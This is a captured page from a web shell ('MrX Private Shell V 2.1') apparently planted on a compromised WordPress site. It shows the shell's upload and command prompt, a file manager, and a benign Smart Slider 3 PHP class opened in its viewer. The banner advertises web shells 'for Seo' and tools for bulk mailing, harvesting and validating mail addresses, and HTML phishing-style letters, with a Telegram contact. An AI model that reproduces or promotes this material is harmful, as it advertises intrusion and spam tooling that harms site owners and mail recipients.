__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php


namespace Nextend\SmartSlider3\Renderable\Item;


use Nextend\Framework\Data\Data;
use Nextend\Framework\Parser\Link;
use Nextend\Framework\Pattern\GetAssetsPathTrait;
use Nextend\Framework\View\Html;
use Nextend\SmartSlider3\Renderable\Component\ComponentLayer;

abstract class AbstractItemFrontend {

    use GetAssetsPathTrait;

    /** @var AbstractItem */
    protected $item;

    protected $id;

    /** @var ComponentLayer */
    protected $layer;

    /** @var Data */
    public $data;

    protected $isEditor = false;

    /**
     *
     * @param AbstractItem   $item
     * @param string         $id
     * @param array          $itemData
     * @param ComponentLayer $layer
     */
    public function __construct($item, $id, $itemData, $layer) {
        $this->item  = $item;
        $this->id    = $id;
        $this->data  = new Data($itemData);
        $this->layer = $layer;

        $this->fillDefault($item->getValues());
    }

    private function fillDefault($defaults) {

        $this->item->upgradeData($this->data);

        $this->data->fillDefault($defaults);
    }

    public abstract function render();

    public function renderAdmin() {
        $this->isEditor = true;

        /**
         * Fix linked fonts/styles for the editor
         */
        $this->item->adminNormalizeFontsStyles($this->data);

        $rendered = $this->renderAdminTemplate();

        $json = $this->data->toJson();

        return Html::tag("div", array(
            "class"           => "n2-ss-item n2-ss-item-" . $this->item->getType(),
            "data-item"       => $this->item->getType(),
            "data-itemvalues" => $json
        ), $rendered);
    }

    protected abstract function renderAdminTemplate();

    public function needHeight() {
        return false;
    }

    public function isAuto() {
        return false;
    }

    protected function hasLink() {
        $link = $this->data->get('href', '#');
        if (($link != '#' && !empty($link))) {
            return true;
        }

        return false;
    }

    protected function getLink($content, $attributes = array(), $renderEmpty = false) {

        $link   = $this->data->get('href', '#');
        $target = $this->data->get('href-target', '#');
        $rel    = $this->data->get('href-rel', '#');
        $class  = $this->data->get('href-class', '');

        if (($link != '#' && !empty($link)) || $renderEmpty === true) {

            $link = Link::parse($this->layer->getOwner()
                                            ->fill($link), $attributes, $this->isEditor);
            if (!empty($target) && $target != '_self') {
                $attributes['target'] = $target;
            }
            if (!empty($rel)) {
                $attributes['rel'] = $rel;
            }
            if (!empty($class)) {
                $attributes['class'] = $class;
            }

            return Html::link($content, $link, $attributes);
        }

        return $content;
    }
}

Filemanager

Name Type Size Permission Actions
Button Folder 0775
Heading Folder 0775
Image Folder 0775
Missing Folder 0775
Text Folder 0775
Vimeo Folder 0775
YouTube Folder 0775
AbstractItem.php File 5.1 KB 0664
AbstractItemFrontend.php File 2.93 KB 0664
ItemFactory.php File 5.05 KB 0664
Filemanager